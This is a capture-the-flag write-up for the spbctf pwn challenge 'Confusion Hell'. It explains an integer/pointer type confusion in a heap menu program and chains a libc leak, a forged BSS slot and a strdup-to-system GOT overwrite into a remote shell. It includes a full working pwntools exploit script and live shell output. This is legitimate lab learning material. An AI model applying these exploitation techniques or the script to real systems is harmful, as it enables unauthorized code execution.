Confusion Hell
Confusion Hell
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: arbitrary_read_via_printf_s, arithmetic_program_write, count_bump_to_index_bss_slot, got_overwrite, integer_pointer_type_confusion, libc_base_leak
Summary
Task: pwn with an integer/pointer type-confusion heap allocator (No PIE, Partial RELRO, libc-2.31); number and str boxes share an 8-byte slot with no runtime type check, giving arbitrary read/write. Solution: leak libc via printf(%s) on a GOT entry, bump COUNT to make a BSS-zero OBJECTS slot indexable, forge it into strdup@got, overwrite strdup with system using an arithmetic write (bypassing the scanf 0x20/NUL wall), then trigger strdup("/bin/sh")=system("/bin/sh").
Confusion Hell — spbctf
Description
Numbers and Strs. Completely interchangeable. Сompletely unsafe. nc 109.233.56.90 11710 confusion_hell.elf — https://pwn.spbctf.ru/files/uaf/confusion_hell/confusion_hell.elf libc-2.31.so — https://pwn.spbctf.ru/files/uaf/confusion_hell/libc-2.31.so
A menu-driven heap program stores "numbers" and "strings" in the same array of
8-byte boxes with no runtime type check. This integer/pointer type confusion
yields arbitrary read and arbitrary write. Because libc-2.31 is provided and a
full shell is required, we chain the primitives into a GOT overwrite of strdup
with system.
Note: the sister challenge Confusion Hall (port 11725) uses the same type-confusion mechanism but only needed to leak a fixed
FLAGglobal. Confusion Hell is the harder variant — libc is provided and a real shell is required.
Recon
checksec on confusion_hell.elf:
- ELF 64-bit x86-64, dynamically linked, not stripped, GLIBC 2.31.
- No PIE (base
0x400000), No canary, Partial RELRO, NX enabled.
Menu options:
| Key | Action |
|---|---|
i | add number |
s | add str |
n | show number |
t | show str |
I | edit (modify) number |
S | edit (modify) str |
| |
Fixed globals (No-PIE, so addresses are constant):
COUNT@0x4040a0OBJECTS[]@0x4040c0— 10 slots, in BSS (zero-initialized).
Relevant GOT entries (Partial RELRO, lazy binding):
| Symbol | GOT addr |
|---|---|
puts | 0x404018 |
strlen | 0x404020 |
printf | 0x404028 |
strdup | 0x404050 |
The add handler checks cmp COUNT,9; jg -> "Too many elements already", so at
most 10 objects (indices 0..9) can exist, and only indices < COUNT are
addressable.
The core bug — integer/pointer type confusion
Both object types are 8-byte malloc boxes. OBJECTS[i] holds a pointer P to
the box, and the box's 8 bytes hold either:
- number box: an
int64value, stored at*P, or - str box: a
char*to astrdup'd string, stored at*P.
No operation checks the runtime type of OBJECTS[i]. Since both structs are the
same size, they share the same slot layout — a classic integer/pointer type
confusion.
Primitives derived from the confusion
| Operation | Code | Effect when types are confused |
|---|---|---|
show_number(i) | printf("%lld", *P) | prints the raw 8 bytes as signed int — leaks a str box's heap pointer |
show_str(i) | printf("%s", *P) | treats the 8 bytes as char* and prints the string there — arbitrary read |
edit_number(i) | arithmetic program on *P, written back | full arbitrary 8-byte write to address P (whitespace/NUL-immune) |
edit_str(i) | scanf("%255s", *P) | write-what-where at address = *P, but no whitespace / no embedded NUL |
| |
Note on add_number: it initializes *P = 0 — the value is not set directly
via scanf (unlike the easier "Confusion Hall"). Any value must be built with
edit_number's arithmetic program.
edit_number's program is a %255s string of single-character ops applied to
the current *P:
+→+1-→-1*→×2(double)/→÷2(unsigned right shift)
Because the target value is constructed arithmetically, edit_number can
write any 8-byte value including bytes 0x20 and 0x00 — but only to the
address P the box already points at.
The wall
To pop a shell we want to overwrite a GOT entry with libc system. Each primitive
alone is blocked:
edit_str(scanf) can target any address — set a number's value to the target via arithmetic, thenedit_strwrites there. But it cannot write thesystemvalue: in libc-2.31system's offset is0x48f20, so the low byte is always0x20(a space) —scanf("%s")stops immediately. It also cannot write embedded NUL bytes.edit_numberarithmetic can write the fullsystemvalue (including0x20/NUL), but only to the addressPthat the box points at — a heap address for normally-created objects, never a GOT/data address.
Making a box's P equal a GOT/data address means writing that (high-NUL) address
into an OBJECTS slot. Writing a low address like 0x0000000000404050 via
scanf writes only the low 3 bytes + a single NUL; the slot's existing high
bytes survive. Used slots hold heap pointers 0x00005555…, so the result is
garbage. This is the crux blocker.
The escape
Use an unused OBJECTS slot. Because OBJECTS[] lives in BSS, unused slots
are all-zero, so a scanf partial write of the low 3 bytes + NUL yields a clean
full pointer with zero high bytes. Unused slots (index >= COUNT) are not
indexable due to the idx < COUNT check, so we first bump COUNT to make
them addressable, forge the slot, then restore COUNT so add_str runs
again.
Why strdup, not strlen, is the trigger
strlen is called by edit_number with rdi = the user's arithmetic string, an
obvious hook candidate — but strlen@got = 0x404020 contains a 0x20 byte, so it
cannot be forged into an OBJECTS slot via scanf. strdup@got = 0x404050 is
whitespace-free, and strdup is called by add_str with rdi = the
attacker-controlled input string. Overwriting strdup with system and calling
add_str("/bin/sh") therefore executes system("/bin/sh").
Exploit chain (verified live)
- Setup:
add_number× 3 →COUNT = 3. Slots 3..9 stay BSS-zero. Reserve idx0 as a "writer", idx1 as leaker. - Libc leak:
edit_number(1)buildsvalue = puts@got (0x404018); thenshow_str(1)runsprintf("%s")on0x404018, printing the 6-byte libc address ofputs. Computelibc_base = leak - libc.sym.puts,system = base + libc.sym.system. - Bump COUNT:
edit_number(0)→value = &COUNT;edit_str(0, "10")→COUNT = 0x00003031(12337)> 9, so slot 7 becomes indexable. - Forge
OBJECTS[7] = strdup@got:edit_number(0)→value = &OBJECTS[7] = 0x4040c0 + 7*8 = 0x4040f8;edit_str(0)writesp64(0x404050).rstrip(b"\x00") = b"P@@"(bytes0x50 0x40 0x40, no whitespace)- scanf's NUL →
OBJECTS[7] = 0x0000000000404050 = strdup@got(high bytes were 0 from BSS). Verified:show_number(7)returned0x4010a6=strdup@plt+6(the unresolved lazy-binding stub), confirmingP_7 == strdup@got.
- scanf's NUL →
- Overwrite
strdup@gotwithsystem:edit_number(7)— arithmetic program zeroes the current value with 64×/, then buildssystembit-by-bit with*and+. This writes the full 8-bytesystemaddress to*P_7 = strdup@got, bypassing the0x20/NUL scanf wall (arithmetic write, not scanf). - Restore
COUNT ≤ 9:edit_number(0)→value = &COUNT;edit_str(0)writes raw byte0x03(not whitespace) →COUNT = 3, soadd_str(gated byCOUNT <= 9) runs again. - Trigger:
add_str("/bin/sh")callsstrdup("/bin/sh")withrdi = "/bin/sh"; sincestrdup@gotnow holdssystem, this executessystem("/bin/sh")→ remote shell →cat flag.
Arithmetic-program generator (key helper)
To build an arbitrary nonnegative target from *P:
- optionally prepend 64×
/to zero the current value (unsigned right shift 64×), - then for each bit of the target from MSB to LSB: the first
1bit emits+; every subsequent bit emits*(double) and, if the bit is1, also+.
Program lengths stay well under 255 (system ~131 chars, an address ~90 chars),
fitting scanf("%255s").
Solution script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST, PORT = "109.233.56.90", 11710 elf = ELF("./confusion_hell.elf", checksec=False) libc = ELF("./libc-2.31.so", checksec=False) puts_got = elf.got['puts'] # 0x404018 strdup_got = elf.got['strdup'] # 0x404050 COUNT_ADDR = 0x4040a0 OBJECTS = 0x4040c0 WS = set(b" \t\n\r\x0b\x0c") # scanf %s stops on these (NUL also terminates) def gen_instr(target, zero_first=False): # arithmetic string turning current *box into `target` (nonneg). # ops: '+'=+1, '-'=-1, '*'=x2, '/'=/2 (unsigned shr). s = "" if zero_first: s += "/" * 64 # shr 64 times -> 0 if target == 0: return s + "+-" bits = bin(target)[2:] for i, b in enumerate(bits): if i == 0: s += "+" else: s += "*" if b == '1': s += "+" return s def start(): return process("./confusion_hell.elf") if args.LOCAL else remote(HOST, PORT) io = start() def menu(c): io.recvuntil(b"choice: "); io.send(c.encode()) def add_number(): menu("i"); io.recvuntil(b"Added!") def edit_number(idx, instr): menu("I") io.recvuntil(b"Enter index to edit: "); io.sendline(str(idx).encode()) io.recvuntil(b"Enter your instructions to modify the number: ") io.sendline(instr.encode()) io.recvuntil(b"Now number at") return io.recvline() def set_number(idx, value): edit_number(idx, gen_instr(value, zero_first=True)) def show_str(idx): menu("t") io.recvuntil(b"Enter index to show: "); io.sendline(str(idx).encode()) io.recvuntil(b"Str at [") io.recvuntil(b"]: '") return io.recvuntil(b"'\n", drop=True) def edit_str(idx, s): menu("S") io.recvuntil(b"Enter index to edit: "); io.sendline(str(idx).encode()) io.recvuntil(b"Enter new str: ") io.sendline(s) # indices: # 0 : writer (number). Set value = target addr, then edit_str writes bytes there. # 7 : fake box slot (unused BSS=0) -> becomes strdup_got, then edit_number(7)=system. add_number() # idx0 writer add_number() # idx1 leaker add_number() # idx2 spare # ---- Stage 1: leak libc via arbitrary read ---- set_number(1, puts_got) leak = show_str(1)[:6] puts_libc = u64(leak.ljust(8, b"\x00")) assert (puts_libc & 0xfff) == (libc.symbols['puts'] & 0xfff), "bad leak alignment" libc.address = puts_libc - libc.symbols['puts'] system = libc.symbols['system'] log.success(f"libc base = {hex(libc.address)} system = {hex(system)}") # ---- Stage 2: bump COUNT so slot 7 (unused, BSS=0) is indexable ---- set_number(0, COUNT_ADDR) edit_str(0, b"10") # scanf writes "10\0" -> COUNT low bytes = 0x00003031 # ---- Stage 3: forge OBJECTS[7] = strdup_got (slot 7 was BSS zero) ---- obj7 = OBJECTS + 7*8 # 0x4040f8 set_number(0, obj7) val = p64(strdup_got).rstrip(b"\x00") # 0x404050 -> b"P@@" (no whitespace) assert not any(x in WS for x in val), val.hex() edit_str(0, val) # OBJECTS[7] = 0x404050 => P_7 = strdup_got # ---- Stage 4: edit_number(7): *P_7 = strdup_got => overwrite with system ---- edit_number(7, gen_instr(system, zero_first=True)) log.success("strdup@got overwritten with system") # ---- Stage 4b: restore COUNT <= 9 so add_str() runs and calls strdup ---- set_number(0, COUNT_ADDR) edit_str(0, b"\x03") # COUNT = 3 (raw byte 0x03, not whitespace) # ---- Stage 5: trigger strdup("/bin/sh") == system("/bin/sh") ---- menu("s") io.recvuntil(b"Enter str to add: ") io.sendline(b"/bin/sh") io.sendline(b"cat flag* /flag* 2>/dev/null; id") io.interactive()
Live proof
[+] libc base = 0x767629... system = 0x76762aecdf20
show_number(7) after overwrite read back exactly the system address
uid=6(man) gid=12(man) groups=12(man)
spbctf{REDACTED}